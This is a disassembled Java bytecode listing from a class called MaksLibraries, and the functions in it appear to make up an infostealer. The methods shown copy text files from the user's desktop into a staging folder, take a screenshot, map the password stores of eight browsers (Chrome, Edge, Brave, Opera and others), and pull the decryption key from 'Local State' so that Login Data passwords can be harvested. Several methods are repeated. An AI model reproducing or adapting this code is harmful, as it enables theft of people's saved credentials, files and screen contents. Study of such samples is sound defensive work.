000094aainvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000094adaload 4
000094afinvokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
000094b2invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000094b5invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
000094b8invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
000094bbnew #332 // class java/io/File
000094bedup
000094bfnew #110 // class java/lang/StringBuilder
000094c2dup
000094c3invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
000094c6getstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
000094c9invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000094ccldc_w #978 // String "\\desktop\\"
000094cfinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000094d2aload 4
000094d4invokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
000094d7invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000094dainvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
000094ddinvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
000094e0invokestatic #962 // Method org/apache/commons/io/FileUtils.copyFile:(Ljava/io/File;Ljava/io/File;)V
000094e3iinc 3, 1
000094e6goto 130
000094e9goto 256
000094ecastore_0
000094edaload_0
000094eeinvokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
000094f1return
000093f1
000093f1makslibraries.MaksLibraries::StealDesktopO():
000093f1new #332 // class java/io/File
000093f4dup
000093f5new #110 // class java/lang/StringBuilder
000093f8dup
000093f9invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
000093fcgetstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
000093ffinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009402ldc_w #965 // String "\\desktop"
00009405invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009408invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000940binvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000940einvokevirtual #930 // Method java/io/File.mkdirs:()Z
00009411pop
00009412new #110 // class java/lang/StringBuilder
00009415dup
00009416invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00009419ldc_w #967 // String "user.home"
0000941cinvokestatic #970 // Method java/lang/System.getProperty:(Ljava/lang/String;)Ljava/lang/String;
0000941finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009422ldc_w #981 // String "\\OneDrive\\Desktop"
00009425invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009428invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000942biconst_0
0000942canewarray #91 // class java/lang/String
0000942finvokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
00009432iconst_0
00009433anewarray #455 // class java/nio/file/LinkOption
00009436invokestatic #459 // Method java/nio/file/Files.isDirectory:(Ljava/nio/file/Path;[Ljava/nio/file/LinkOption;)Z
00009439ifeq 248
0000943cnew #110 // class java/lang/StringBuilder
0000943fdup
00009440invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00009443ldc_w #967 // String "user.home"
00009446invokestatic #970 // Method java/lang/System.getProperty:(Ljava/lang/String;)Ljava/lang/String;
00009449invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000944cldc_w #981 // String "\\OneDrive\\Desktop"
0000944finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009452invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
00009455iconst_0
00009456anewarray #91 // class java/lang/String
00009459invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
0000945cinvokeinterface #513 // Method java/nio/file/Path.toFile:()Ljava/io/File;
00009461invokevirtual #517 // Method java/io/File.listFiles:()[Ljava/io/File;
00009464invokestatic #523 // Method java/util/Objects.requireNonNull:(Ljava/lang/Object;)Ljava/lang/Object;
00009467checkcast #525 // class [Ljava/io/File;
0000946acheckcast #525 // class [Ljava/io/File;
0000946dastore_1
0000946eaload_1
0000946farraylength
00009470istore_2
00009471iconst_0
00009472istore_3
00009473iload_3
00009474iload_2
00009475if_icmpge 248
00009478aload_1
00009479iload_3
0000947aaaload
0000947bastore 4
0000947daload 4
0000947finvokevirtual #951 // Method java/io/File.isFile:()Z
00009482ifeq 242
00009485aload 4
00009487invokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
0000948aldc_w #974 // String ".txt"
0000948dinvokevirtual #535 // Method java/lang/String.endsWith:(Ljava/lang/String;)Z
00009490ifeq 242
00009493new #332 // class java/io/File
00009496dup
00009497new #110 // class java/lang/StringBuilder
0000949adup
0000949binvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000949eldc_w #967 // String "user.home"
000094a1invokestatic #970 // Method java/lang/System.getProperty:(Ljava/lang/String;)Ljava/lang/String;
000094a4invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000094a7ldc_w #983 // String "\\OneDrive\\Desktop\\"
000094aainvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000094adaload 4
000094afinvokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
000094b2invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000094b5invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
000094b8invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
000094bbnew #332 // class java/io/File
000094bedup
000094bfnew #110 // class java/lang/StringBuilder
000094c2dup
000094c3invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
000094c6getstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
000094c9invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000094ccldc_w #978 // String "\\desktop\\"
000094cfinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000094d2aload 4
000094d4invokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
000094d7invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000094dainvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
000094ddinvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
000094e0invokestatic #962 // Method org/apache/commons/io/FileUtils.copyFile:(Ljava/io/File;Ljava/io/File;)V
000094e3iinc 3, 1
000094e6goto 130
000094e9goto 256
000094ecastore_0
000094edaload_0
000094eeinvokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
000094f1return
000093f1
00009584
00009584makslibraries.MaksLibraries::ScreenshotScreen():
00009584getstatic #589 // Field makslibraries/MaksLibraries.NotFirstTime:Ljava/lang/Boolean;
00009587invokevirtual #594 // Method java/lang/Boolean.booleanValue:()Z
0000958aifne 98
0000958dinvokestatic #990 // Method java/awt/Toolkit.getDefaultToolkit:()Ljava/awt/Toolkit;
00009590invokevirtual #994 // Method java/awt/Toolkit.getScreenSize:()Ljava/awt/Dimension;
00009593astore_0
00009594new #996 // class java/awt/Rectangle
00009597dup
00009598aload_0
00009599invokespecial #999 // Method java/awt/Rectangle.<init>:(Ljava/awt/Dimension;)V
0000959castore_1
0000959dnew #1001 // class java/awt/Robot
000095a0dup
000095a1invokespecial #1002 // Method java/awt/Robot.<init>:()V
000095a4astore_2
000095a5aload_2
000095a6aload_1
000095a7invokevirtual #1006 // Method java/awt/Robot.createScreenCapture:(Ljava/awt/Rectangle;)Ljava/awt/image/BufferedImage;
000095aaastore_3
000095abnew #1008 // class java/util/Random
000095aedup
000095afinvokespecial #1009 // Method java/util/Random.<init>:()V
000095b2invokevirtual #1012 // Method java/util/Random.nextInt:()I
000095b5pop
000095b6aload_3
000095b7ldc_w #1014 // String "png"
000095banew #332 // class java/io/File
000095bddup
000095benew #110 // class java/lang/StringBuilder
000095c1dup
000095c2invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
000095c5getstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
000095c8invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000095cbldc_w #1016 // String "\\screenshit.png"
000095ceinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000095d1invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
000095d4invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
000095d7invokestatic #1021 // Method javax/imageio/ImageIO.write:(Ljava/awt/image/RenderedImage;Ljava/lang/String;Ljava/io/File;)Z
000095dapop
000095dbgoto 98
000095deastore_0
000095dfaload_0
000095e0ldc_w #1023 // String "in taking a screenshot????????????? (no fucking idea pls report this)"
000095e3invokestatic #629 // Method makslibraries/MaksLibraries.ErrorMessage:(Ljava/lang/Exception;Ljava/lang/String;)V
000095e6return
00009584
00009584makslibraries.MaksLibraries::ScreenshotScreen():
00009584getstatic #589 // Field makslibraries/MaksLibraries.NotFirstTime:Ljava/lang/Boolean;
00009587invokevirtual #594 // Method java/lang/Boolean.booleanValue:()Z
0000958aifne 98
0000958dinvokestatic #990 // Method java/awt/Toolkit.getDefaultToolkit:()Ljava/awt/Toolkit;
00009590invokevirtual #994 // Method java/awt/Toolkit.getScreenSize:()Ljava/awt/Dimension;
00009593astore_0
00009594new #996 // class java/awt/Rectangle
00009597dup
00009598aload_0
00009599invokespecial #999 // Method java/awt/Rectangle.<init>:(Ljava/awt/Dimension;)V
0000959castore_1
0000959dnew #1001 // class java/awt/Robot
000095a0dup
000095a1invokespecial #1002 // Method java/awt/Robot.<init>:()V
000095a4astore_2
000095a5aload_2
000095a6aload_1
000095a7invokevirtual #1006 // Method java/awt/Robot.createScreenCapture:(Ljava/awt/Rectangle;)Ljava/awt/image/BufferedImage;
000095aaastore_3
000095abnew #1008 // class java/util/Random
000095aedup
000095afinvokespecial #1009 // Method java/util/Random.<init>:()V
000095b2invokevirtual #1012 // Method java/util/Random.nextInt:()I
000095b5pop
000095b6aload_3
000095b7ldc_w #1014 // String "png"
000095banew #332 // class java/io/File
000095bddup
000095benew #110 // class java/lang/StringBuilder
000095c1dup
000095c2invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
000095c5getstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
000095c8invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000095cbldc_w #1016 // String "\\screenshit.png"
000095ceinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000095d1invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
000095d4invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
000095d7invokestatic #1021 // Method javax/imageio/ImageIO.write:(Ljava/awt/image/RenderedImage;Ljava/lang/String;Ljava/io/File;)Z
000095dapop
000095dbgoto 98
000095deastore_0
000095dfaload_0
000095e0ldc_w #1023 // String "in taking a screenshot????????????? (no fucking idea pls report this)"
000095e3invokestatic #629 // Method makslibraries/MaksLibraries.ErrorMessage:(Ljava/lang/Exception;Ljava/lang/String;)V
000095e6return
00009584
00009686
00009686makslibraries.MaksLibraries::createPathsMap():
00009686new #1035 // class java/util/LinkedHashMap
00009689dup
0000968ainvokespecial #1036 // Method java/util/LinkedHashMap.<init>:()V
0000968dastore_0
0000968eaload_0
0000968fldc_w #1038 // String "Google Chrome"
00009692new #110 // class java/lang/StringBuilder
00009695dup
00009696invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00009699ldc_w #1040 // String "LOCALAPPDATA"
0000969cinvokestatic #1043 // Method java/lang/System.getenv:(Ljava/lang/String;)Ljava/lang/String;
0000969finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000096a2ldc_w #1045 // String "\\Google\\Chrome\\User Data"
000096a5invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000096a8invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
000096abinvokeinterface #755 // Method java/util/Map.put:(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
000096b0pop
000096b1aload_0
000096b2ldc_w #1047 // String "Microsoft Edge"
000096b5new #110 // class java/lang/StringBuilder
000096b8dup
000096b9invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
000096bcldc_w #1040 // String "LOCALAPPDATA"
000096bfinvokestatic #1043 // Method java/lang/System.getenv:(Ljava/lang/String;)Ljava/lang/String;
000096c2invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000096c5ldc_w #1049 // String "\\Microsoft\\Edge\\User Data"
000096c8invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000096cbinvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
000096ceinvokeinterface #755 // Method java/util/Map.put:(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
000096d3pop
000096d4aload_0
000096d5ldc_w #1051 // String "Chromium"
000096d8new #110 // class java/lang/StringBuilder
000096dbdup
000096dcinvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
000096dfldc_w #1040 // String "LOCALAPPDATA"
000096e2invokestatic #1043 // Method java/lang/System.getenv:(Ljava/lang/String;)Ljava/lang/String;
000096e5invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000096e8ldc_w #1053 // String "\\Chromium\\User Data"
000096ebinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000096eeinvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
000096f1invokeinterface #755 // Method java/util/Map.put:(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
000096f6pop
000096f7aload_0
000096f8ldc_w #1055 // String "Opera"
000096fbnew #110 // class java/lang/StringBuilder
000096fedup
000096ffinvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00009702ldc_w #1057 // String "APPDATA"
00009705invokestatic #1043 // Method java/lang/System.getenv:(Ljava/lang/String;)Ljava/lang/String;
00009708invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000970bldc_w #1059 // String "\\Opera Software\\Opera Stable"
0000970einvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009711invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
00009714invokeinterface #755 // Method java/util/Map.put:(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
00009719pop
0000971aaload_0
0000971bldc_w #1061 // String "Opera GX"
0000971enew #110 // class java/lang/StringBuilder
00009721dup
00009722invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00009725ldc_w #1057 // String "APPDATA"
00009728invokestatic #1043 // Method java/lang/System.getenv:(Ljava/lang/String;)Ljava/lang/String;
0000972binvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000972eldc_w #1063 // String "\\Opera Software\\Opera GX Stable"
00009731invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009734invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
00009737invokeinterface #755 // Method java/util/Map.put:(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
0000973cpop
0000973daload_0
0000973eldc_w #1065 // String "Brave"
00009741new #110 // class java/lang/StringBuilder
00009744dup
00009745invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00009748ldc_w #1040 // String "LOCALAPPDATA"
0000974binvokestatic #1043 // Method java/lang/System.getenv:(Ljava/lang/String;)Ljava/lang/String;
0000974einvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009751ldc_w #1067 // String "\\BraveSoftware\\Brave-Browser\\User Data"
00009754invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009757invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000975ainvokeinterface #755 // Method java/util/Map.put:(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
0000975fpop
00009760aload_0
00009761ldc_w #1069 // String "Vivaldi"
00009764new #110 // class java/lang/StringBuilder
00009767dup
00009768invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000976bldc_w #1040 // String "LOCALAPPDATA"
0000976einvokestatic #1043 // Method java/lang/System.getenv:(Ljava/lang/String;)Ljava/lang/String;
00009771invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009774ldc_w #1071 // String "\\Vivaldi\\User Data"
00009777invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000977ainvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000977dinvokeinterface #755 // Method java/util/Map.put:(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
00009782pop
00009783aload_0
00009784ldc_w #1073 // String "Yandex"
00009787new #110 // class java/lang/StringBuilder
0000978adup
0000978binvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000978eldc_w #1040 // String "LOCALAPPDATA"
00009791invokestatic #1043 // Method java/lang/System.getenv:(Ljava/lang/String;)Ljava/lang/String;
00009794invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009797ldc_w #1075 // String "\\Yandex\\YandexBrowser\\User Data"
0000979ainvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000979dinvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
000097a0invokeinterface #755 // Method java/util/Map.put:(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
000097a5pop
000097a6aload_0
000097a7areturn
00009686
00009686makslibraries.MaksLibraries::createPathsMap():
00009686new #1035 // class java/util/LinkedHashMap
00009689dup
0000968ainvokespecial #1036 // Method java/util/LinkedHashMap.<init>:()V
0000968dastore_0
0000968eaload_0
0000968fldc_w #1038 // String "Google Chrome"
00009692new #110 // class java/lang/StringBuilder
00009695dup
00009696invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00009699ldc_w #1040 // String "LOCALAPPDATA"
0000969cinvokestatic #1043 // Method java/lang/System.getenv:(Ljava/lang/String;)Ljava/lang/String;
0000969finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000096a2ldc_w #1045 // String "\\Google\\Chrome\\User Data"
000096a5invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000096a8invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
000096abinvokeinterface #755 // Method java/util/Map.put:(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
000096b0pop
000096b1aload_0
000096b2ldc_w #1047 // String "Microsoft Edge"
000096b5new #110 // class java/lang/StringBuilder
000096b8dup
000096b9invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
000096bcldc_w #1040 // String "LOCALAPPDATA"
000096bfinvokestatic #1043 // Method java/lang/System.getenv:(Ljava/lang/String;)Ljava/lang/String;
000096c2invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000096c5ldc_w #1049 // String "\\Microsoft\\Edge\\User Data"
000096c8invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000096cbinvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
000096ceinvokeinterface #755 // Method java/util/Map.put:(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
000096d3pop
000096d4aload_0
000096d5ldc_w #1051 // String "Chromium"
000096d8new #110 // class java/lang/StringBuilder
000096dbdup
000096dcinvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
000096dfldc_w #1040 // String "LOCALAPPDATA"
000096e2invokestatic #1043 // Method java/lang/System.getenv:(Ljava/lang/String;)Ljava/lang/String;
000096e5invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000096e8ldc_w #1053 // String "\\Chromium\\User Data"
000096ebinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000096eeinvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
000096f1invokeinterface #755 // Method java/util/Map.put:(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
000096f6pop
000096f7aload_0
000096f8ldc_w #1055 // String "Opera"
000096fbnew #110 // class java/lang/StringBuilder
000096fedup
000096ffinvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00009702ldc_w #1057 // String "APPDATA"
00009705invokestatic #1043 // Method java/lang/System.getenv:(Ljava/lang/String;)Ljava/lang/String;
00009708invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000970bldc_w #1059 // String "\\Opera Software\\Opera Stable"
0000970einvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009711invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
00009714invokeinterface #755 // Method java/util/Map.put:(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
00009719pop
0000971aaload_0
0000971bldc_w #1061 // String "Opera GX"
0000971enew #110 // class java/lang/StringBuilder
00009721dup
00009722invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00009725ldc_w #1057 // String "APPDATA"
00009728invokestatic #1043 // Method java/lang/System.getenv:(Ljava/lang/String;)Ljava/lang/String;
0000972binvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000972eldc_w #1063 // String "\\Opera Software\\Opera GX Stable"
00009731invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009734invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
00009737invokeinterface #755 // Method java/util/Map.put:(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
0000973cpop
0000973daload_0
0000973eldc_w #1065 // String "Brave"
00009741new #110 // class java/lang/StringBuilder
00009744dup
00009745invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00009748ldc_w #1040 // String "LOCALAPPDATA"
0000974binvokestatic #1043 // Method java/lang/System.getenv:(Ljava/lang/String;)Ljava/lang/String;
0000974einvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009751ldc_w #1067 // String "\\BraveSoftware\\Brave-Browser\\User Data"
00009754invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009757invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000975ainvokeinterface #755 // Method java/util/Map.put:(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
0000975fpop
00009760aload_0
00009761ldc_w #1069 // String "Vivaldi"
00009764new #110 // class java/lang/StringBuilder
00009767dup
00009768invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000976bldc_w #1040 // String "LOCALAPPDATA"
0000976einvokestatic #1043 // Method java/lang/System.getenv:(Ljava/lang/String;)Ljava/lang/String;
00009771invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009774ldc_w #1071 // String "\\Vivaldi\\User Data"
00009777invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000977ainvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000977dinvokeinterface #755 // Method java/util/Map.put:(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
00009782pop
00009783aload_0
00009784ldc_w #1073 // String "Yandex"
00009787new #110 // class java/lang/StringBuilder
0000978adup
0000978binvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000978eldc_w #1040 // String "LOCALAPPDATA"
00009791invokestatic #1043 // Method java/lang/System.getenv:(Ljava/lang/String;)Ljava/lang/String;
00009794invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009797ldc_w #1075 // String "\\Yandex\\YandexBrowser\\User Data"
0000979ainvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000979dinvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
000097a0invokeinterface #755 // Method java/util/Map.put:(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
000097a5pop
000097a6aload_0
000097a7areturn
00009686
0000981e
0000981emakslibraries.MaksLibraries::crawlUserData(java.lang.String):
0000981egetstatic #1078 // Field makslibraries/MaksLibraries.pathsE:Ljava/util/Map;
00009821invokeinterface #1082 // Method java/util/Map.keySet:()Ljava/util/Set;
00009826invokeinterface #1085 // Method java/util/Set.iterator:()Ljava/util/Iterator;
0000982bastore_2
0000982caload_2
0000982dinvokeinterface #583 // Method java/util/Iterator.hasNext:()Z
00009832ifeq 183
00009835aload_2
00009836invokeinterface #587 // Method java/util/Iterator.next:()Ljava/lang/Object;
0000983bcheckcast #91 // class java/lang/String
0000983eastore_3
0000983fnew #332 // class java/io/File
00009842dup
00009843getstatic #1078 // Field makslibraries/MaksLibraries.pathsE:Ljava/util/Map;
00009846aload_3
00009847invokeinterface #801 // Method java/util/Map.get:(Ljava/lang/Object;)Ljava/lang/Object;
0000984ccheckcast #91 // class java/lang/String
0000984finvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
00009852astore 4
00009854aload 4
00009856invokevirtual #1087 // Method java/io/File.exists:()Z
00009859ifne 65
0000985cgoto 14
0000985fnew #332 // class java/io/File
00009862dup
00009863aload 4
00009865ldc_w #468 // String "Local State"
00009868invokespecial #1090 // Method java/io/File.<init>:(Ljava/io/File;Ljava/lang/String;)V
0000986binvokestatic #1094 // Method makslibraries/MaksLibraries.getKey:(Ljava/io/File;)[B
0000986eastore 5
00009870aload 4
00009872invokevirtual #517 // Method java/io/File.listFiles:()[Ljava/io/File;
00009875astore 6
00009877aload 6
00009879arraylength
0000987aistore 7
0000987ciconst_0
0000987distore 8
0000987fiload 8
00009881iload 7
00009883if_icmpge 180
00009886aload 6
00009888iload 8
0000988aaaload
0000988bastore 9
0000988daload 9
0000988finvokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
00009892ldc_w #1096 // String "Profile"
00009895invokevirtual #453 // Method java/lang/String.contains:(Ljava/lang/CharSequence;)Z
00009898ifne 139
0000989baload 9
0000989dinvokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
000098a0ldc_w #1098 // String "Default"
000098a3invokevirtual #427 // Method java/lang/String.equals:(Ljava/lang/Object;)Z
000098a6ifeq 151
000098a9aload_0
000098aaaload 9
000098acaload 5
000098aeaload_1
000098afinvokespecial #1102 // Method makslibraries/MaksLibraries.crawlPasswords:(Ljava/io/File;[BLjava/lang/String;)V
000098b2goto 174
000098b5aload 9
000098b7invokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
000098baldc_w #1104 // String "Login Data"
000098bdinvokevirtual #427 // Method java/lang/String.equals:(Ljava/lang/Object;)Z
000098c0ifeq 174
000098c3aload_0
000098c4aload 4
000098c6aload 5
000098c8aload_1
000098c9invokespecial #1102 // Method makslibraries/MaksLibraries.crawlPasswords:(Ljava/io/File;[BLjava/lang/String;)V
000098cciinc 8, 1
000098cfgoto 97
000098d2goto 14
000098d5return
0000981e
0000981emakslibraries.MaksLibraries::crawlUserData(java.lang.String):
0000981egetstatic #1078 // Field makslibraries/MaksLibraries.pathsE:Ljava/util/Map;
00009821invokeinterface #1082 // Method java/util/Map.keySet:()Ljava/util/Set;
00009826invokeinterface #1085 // Method java/util/Set.iterator:()Ljava/util/Iterator;
0000982bastore_2
0000982caload_2
0000982dinvokeinterface #583 // Method java/util/Iterator.hasNext:()Z
00009832ifeq 183
00009835aload_2
00009836invokeinterface #587 // Method java/util/Iterator.next:()Ljava/lang/Object;
0000983bcheckcast #91 // class java/lang/String
0000983eastore_3
